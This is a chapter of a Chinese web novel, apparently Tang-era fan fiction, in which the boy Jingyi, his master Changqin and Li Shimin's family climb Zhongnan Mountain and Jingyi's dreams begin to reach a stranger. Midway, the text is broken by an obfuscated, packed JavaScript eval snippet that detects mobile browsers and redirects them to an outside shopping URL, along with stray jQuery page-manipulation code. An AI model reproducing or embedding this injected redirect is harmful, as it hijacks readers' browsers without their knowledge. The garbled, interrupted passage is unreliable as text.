34.第 34 章

作品:《和二凤陛下梦游天下

    初七日,人日登高。


    天刚蒙蒙亮,凝云轩廊下的铃铛就被撞得叮当作响。


    “雉奴你快点儿!”


    “我、我系不上这个!”


    “哎呀那是腰上的!你两只手举起来!”


    景颐的声音又脆又急,李治被他拽着两条系带转圈,衣襟歪到肩头,幞头斜挂耳边,活像只被顽童搓揉过的小汤圆。


    长琴推门出来时,看见的就是这幅景象:景颐踩着杌子,半个身子探过李治肩膀,跟那根鹅黄丝绦殊死搏斗,李治被勒得直往后仰,小脸涨红,还不忘死死攥着手里的那块芝麻糖。


    “……在做什么。”


    清冷的声音从头顶落下。


    景颐手一抖,丝绦滑脱。李治咳了两声,趁机把糖塞进嘴里。


    “没、没做什么!”景颐从杌子上跳下来,低头整理自己衣襟,外袍系错了三颗扣,兔毛坎肩歪到一边,两只靴子左右穿反。


    三息沉默。


    “师父我可以解释!”


    长琴看着他。


    “是雉奴先来找我的!”景颐立刻指向李治,“他的带子系错了,我在帮他!我自己的衣服是、是……”他低头看看自己歪七扭八的打扮,声音越来越虚。


    李治鼓着腮帮子嚼糖,毫无义气地别过脸。


    “还有半炷香。”长琴收回目光,声音淡淡,“陛下在安福门等。”


    门帘落下。


    景颐愣了愣,随即像只被踩了尾巴的猫,嗖地窜起来:“快快快!雉奴你的腰带!我靴子穿反了——阿姊!阿姊你好了没有——”


    庭院里鸡飞狗跳。


    丽质从西厢探出头,发髻已经梳得整整齐齐,无奈地看着景颐把两只靴子脱了、左右对调、又穿反了、再脱、终于穿对。她走过去,弯腰帮他把坎肩系带重新系好,把那颗歪到后颈的扣子挪回原位。


    “谢谢阿姊!”景颐冲她咧嘴一笑,深褐色的眼眸亮晶晶的,毫无闯祸后的心虚。


    丽质轻轻摇头,唇角却弯了起来。


    安福门外,李世民已经等了半炷香。


    他今日一身骑装,外罩灰鼠皮披风,足蹬乌皮六合靴,正骑着乌骓与长孙皇后说话。皇后换了身藕荷色窄袖胡服,发髻简单绾起,外罩银狐斗篷,少了平日的端肃,多了几分英气。


    李承乾和李泰策马立在一旁,两人一脸兴奋地低声议论着什么。


    远处传来轻缓的马蹄声。


    众人抬头,只见长琴策着青骢马缓缓行来。


    “先生。”李世民微微颔首,“孩子们呢?”


    长琴没有答话,只微微侧身,露出身后,一匹矮小温驯的枣红小马驹正悠闲踱步。


    马背上趴着两团。


    景颐整个人抱着马脖子,脸埋进鬃毛里,两条腿在两边耷拉着,李治缩在他身后,两只小手死死攥着景颐的衣带,眼睛闭得紧紧的。两人像两只叠在一起的树袋熊,随着马步一颠一颠。


    小马驹两侧,两名侍卫寸步不离地跟着,手臂虚虚护在半空,一脸紧张,仿佛下一刻这两个小祖宗就要滚下来。


    丽质骑在一匹温驯的白马上,落后几步,正以袖掩口,肩膀一抖一抖。


    “哈哈哈哈——”李泰第一个没绷住,笑趴在马脖子上。


    李世民以拳抵唇,喉间逸出一声闷笑。长孙皇后别过脸,肩头轻颤。连李承乾都忍不住弯起嘴角,只是顾及太子仪态,硬撑着没笑出声。


    长琴神色平静,仿佛身后那一幕再寻常不过。


    “景颐,”李世民含笑开口,“骑马好玩吗?”


    景颐从马鬃里缓缓抬起脸,眼睛汪着一层水光,腮帮子却鼓着:“好玩。”


    “那怎么趴在马背上?”


    “它、它走太快了。”景颐小声道,“我没怕。”


    话音刚落,小马驹打了个响鼻,往前踱了一步。景颐条件反射地把脸埋回去,两只手把马脖子抱得更紧。


    李泰笑得直揉肚子:“你不是没怕吗!”


    景颐不理他,闷闷的声音从马鬃里传出来:“它自己要走这么快的。”


    李世民终于笑出声。他策马上前,弯腰一捞,把景颐从小马驹上拎起来,稳稳安置在自己鞍前。


    “走,李叔叔带你骑。”他声音里还带着笑,“乌骓稳,不颠。”


    景颐乖乖窝进他怀里,眼睛弯成月牙,方才那点惊慌早没了影。


    另一边,李承乾已经下马,走到小马驹旁,向李治伸出手:“九郎,来。”


    李治颤巍巍松开马鬃,扑进兄长怀里。李承乾将他抱上自己的马鞍,自己也翻身上马,把弟弟拢在身前。


    “大兄,”李治攥着他的衣襟,小声道,“我以后也要学骑马。”


    “嗯。”李承乾低头看他,“学会了,就不怕了。”


    李治用力点头。


    丽质策马过来,她脸上还有未散的笑意,声音却温温的:“景颐,其实你骑得不错的。”


    景颐眨眨眼:“真的?”


    “嗯,至少你爬上去了。”丽质认真道,“我第一次骑马,在马上哭了半个时辰。”


    景颐顿时挺直腰板,冲李泰扬了扬下巴:“听见没有!”


    李泰翻个白眼,懒得拆穿他。


    李世民朗声一笑,一夹马腹,当先驰出。


    队伍向着终南山方向缓缓行去。


    终南山在长安南边,冬日的山色萧索,枝头却已能看见星星点点的青意。


    李世民勒住马,环顾四周山势,正要开口问路。


    “这边这边!”


    景颐从他怀里探出脑袋,小胳膊往前一挥,像只振翅的小雀。


    “那边有小路,从竹林穿过去,比大路近一半!”


    李世民低头看他,眉梢微挑:“你怎知道?”


    景颐眨眨眼,理直气壮:“我去年春天就住这儿呀!”


    他挣了挣,李世民便顺势把他放下马。小家伙脚一沾地,立刻像归林的小兽,哒哒哒跑到山道岔口,指着一片半枯的竹林。


    “从这里进去,走一百步有条小溪,溪上有座木桥。过了桥往左拐,再走一盏茶工夫,就到半山腰了!那里有块大青石,可平了,能坐着看山!”


    他边说边比划,眼睛亮晶晶的,分明是炫耀,偏偏炫耀得坦坦荡荡。


    李泰第一个跳下马,凑过来:“你怎么记得这么清楚?”


    “我每块石头都摸过!”景颐仰着小下巴,“每一块!”


    李治跑到景颐身边,搂着他的胳膊,问他:“那有小兔子吗?”


    “有!”景颐立刻点头,“青石后面有条小道,往里走可深了,我见过灰的、黄的,还有一只耳朵尖是黑的——”


    “景颐。”长琴的声音从身后传来,淡淡的,“你去年在这里做了什么?”


    景颐的声音戛然而止。


    他慢慢转回头,对上师父平静的目光,心虚地把半句“我还掏过兔子洞”咽了回去。


    “……就随便看看。”他小声嘟囔。


    李泰憋着笑,丽质低头拨弄马鞭,连李承乾的嘴角都微微扬起。


    李世民朗声一笑:“既然小向导都开口了,就从此处上山。”


    竹林小径幽深,枯叶铺地,踩上去沙沙作响。景颐走在最前头,脚步轻快得像只林间的小鹿,时不时回头招呼落在后面的李治。


    “雉奴快看!这块石头像不像乌龟!”


    “那边有松鼠!你看见没有,尾巴好蓬!”


    “这里的溪水能喝!师父说干净——哎呀凉!”


    他把手从溪水里缩回来,甩着水珠,笑出一口小白牙。


    长琴负手走在队伍后侧,目光落在那道蹦蹦跳跳的青色小身影上。


    这孩子在流云境时,也常这样满山跑。时痕木的林子,云海边的石崖,他每处都摸过、爬过、摔过,磕破了膝盖也不哭,爬起来继续跑。


    只是那时,他总是一个人。


    “先生。”李世民不知何时走在他身侧,低声道,“景颐从前在终南山,也是这样?”


    长琴沉默片刻。


    “比现在更野。”他说。


    李世民笑了,望着前方那个正蹲在地上、跟李治一起研究一簇早开野花的景颐。


    “野些好。”李世民的声音温和,“孩子该野一些。”


    半山腰那块大青石果然平整。


    侍卫们铺开毡毯,摆上食盒。热腾腾的炊饼、酱羊肉、腌渍的梅子、还有一壶壶温在炭火上的茶。长孙皇后亲自将桂花酿分给李世民和长琴,又给孩子们一人一盅蜜水。


    景颐捧着蜜水喝了一口,眼睛却滴溜溜往李泰那边转。


    李泰正打开自己的点心匣子,里头整整齐齐码着八块云片糕。


    他刚捏起一块,余光就瞥见一颗毛茸茸的脑袋凑到肘边。


    “……干嘛。”


    “四兄,”景颐眨巴着眼,“你那糕,香不香?”


    李泰咬了一口:“香。”


    景颐咽了咽口水,往前又凑了半寸。


    “那分我一点点呗?”


    李泰看看他,又看看自己手里只剩半块的糕,再看看匣子里剩下的七块。


    “你不是有蜜水吗?”


    “蜜水是甜的,糕也是甜的。”景颐理直气壮,“甜的和甜的在一起,会更甜!”


    李泰噎住了。


    他总觉得哪里不对,又反驳不出来。


    丽质轻轻笑了一声,李承乾低头饮茶,假装没看见。连长孙皇后都弯起唇角,没有解围的意思。


    李泰认命地掰了半块糕,塞进景颐手里。


    景颐接过来,咬了一大口,腮帮子塞得鼓鼓的,还不忘含糊道:“谢谢四兄!”


    李泰摆摆手,把匣子往他那边推了推:“都给你都给你。”


    “那不用,我只要半块。”景颐嚼着糕,眉开眼笑,“剩下的你明天还能吃!”


    李泰愣了一息,随即低下头,狠狠咬了一口自己的云片糕。


    这人真是……


    李承乾看了弟弟一眼,眼底有浅浅的笑意。


    歇过脚,孩子们坐不住了。


    景颐拉着李治去看他说的松鼠洞,李泰非要跟着,丽质担心两个弟弟闯祸,也提着裙摆跟上去。李承乾放心不下,落后几步护着。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182048|195893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    李世民与长孙皇后坐在青石上,望着那群钻进林子的身影。


    “观音婢,”李世民忽然道,“你说,景颐像什么?”


    长孙皇后想了想,微笑道:“像只小雀,关不住,也不想关。”


    李世民没有说话。


    他想起去岁夏苗,第一次见到这孩子,那时他蹲在那只死去的虎旁,泛金的眼睛里汪着泪,委屈巴巴地让他赔大猫猫。


    “我有时想,”帝王的声音放得很轻,“让他就这样玩着、闹着,也挺好。”


    长孙皇后握住他的手,没有答话。


    山林深处传来李泰的大嗓门:“景颐你慢点!九郎要摔了!”


    “不会!我牵着呢!”


    然后是李治也学着喊“不会!”的声音和丽质无奈又带笑的“当心脚下”。


    李世民端起茶盏,饮尽杯中余温。


    登顶时已是申时初。


    终南山巅极目远眺,长安城如一方棋盘铺在平原上,宫阙巍峨,坊市井然。渭水如带,蜿蜒东去。


    孩子们累得东倒西歪,却又被这壮阔景象震得说不出话。


    李治小声道:“长安好大啊。”


    “这是我们的长安。”李承乾望着那片灰瓦红墙,声音不高,却像在许什么诺。


    景颐站在山崖边,风灌进他的衣领,把兔毛坎肩吹得猎猎作响。他缩了缩脖子,眼睛望向东南方向。


    那里的云层正在堆叠,像层层叠叠的山峦,又像遥遥涌来的潮头。


    他没有告诉任何人,昨夜他又做梦了。


    梦里不是雪域,不是长安,是一个他从没见过的地方。


    那里有青灰色的城墙,还有一个白发苍苍的老人,正伏在案边批阅奏折。


    老人忽然抬起头,浑浊的目光穿透梦境,直直望向他。


    “你是谁家的小儿?”


    景颐从梦中惊醒,那颗鹰纹念珠在枕边烫得惊人。


    现在风从东南来,吹在脸上,他恍惚又听见那个苍老的声音。


    你是谁家的小儿?


    “景颐。”


    长琴的声音在身后响起。


    景颐回头,师父站在三步外,目光落在他脸上。风将他的鹤氅吹起一角,露出靛青常服的衣摆。


    “昨夜梦见什么了。”


    不是问句。


    景颐抿了抿唇,小声道:“梦见一个老爷爷,他在批奏折,忽然抬头看我,问我‘你是谁家的小儿’。”


    长琴沉默片刻。


    “你答了吗?”


    “没有。”景颐摇头,“我就醒了。”


    他顿了顿,眼睛里浮起困惑:“师父,梦里的人……能看见我吗?”


    长琴没有立刻回答。


    山巅的风继续吹着,将他的声音带得很轻。


    他说,“你的溯梦,正在变深。”


    不是惊醒梦中人,而是入梦太深,与那人的意识交错。


    梦里的人,开始感知到他的存在。


    景颐眨了眨眼,似乎没有意识到这意味著什么。他反而高兴起来:“那下次我再做梦,可以跟那个老爷爷说话吗?”


    长琴看着他澄澈的眼眸,没有说是,也没有说不。


    “……不可勉强。”他最终只说了这四个字。


    景颐却把这当成了允诺,用力点头,眉眼弯弯。


    他哒哒哒跑回孩子们中间,李泰正拉着李承乾比谁扔石子扔得远,李治在旁边当裁判,丽质护着他不被飞溅的石屑崩到。闹成一团。


    山巅的风继续吹着。


    李世民走到长琴身侧,低声道:“景颐那孩子,方才在山边站了许久。先生与他说了什么?”


    长琴望着那道青色的小身影。


    “他在长大。”他说。


    帝王顺着他的目光望去,没有追问。


    暮色渐起,长安城的灯火在山下遥遥亮起,如星河倾落人间。


    下山的路走得慢。


    景颐又困了,被李世民拢在鞍前,深褐色的眼眸半睁半闭,脑袋一点一点。


    长孙皇后策马过来,将一条薄毯盖在他身上。景颐往毯子里缩了缩,攥着李叔叔的衣襟,呢喃了一句什么。


    李世民侧耳去听。


    “……梦里那个老爷爷……他好像很难过……”


    风把尾音吹散了。


    李世民垂眸看着怀中半梦半醒的孩子,没有追问。


    乌骓迈着平稳的步子,踏过朱雀大街的残雪。暮色四合,长安城的灯火一盏盏亮起。


    长琴策马随行,望着天边渐沉的落日。


    他想起昨夜入定时,避水珏忽然大震,潮声如千军万马奔涌而来。


    东海归墟的潮汐,还有四十三日。


    他不打算带景颐去。


    那孩子该在长安,在凝云轩,在人皇的身边,在皇子公主们的笑闹里。


    该在梦里,慢慢学会与那些被他惊扰的人一一对话。


    马蹄声碎,踏破长安暮色。


    景颐在李世民怀里翻了个身,嘟囔了一句谁也听不清的梦话。


    唇角弯弯的,不知梦见了什么好事。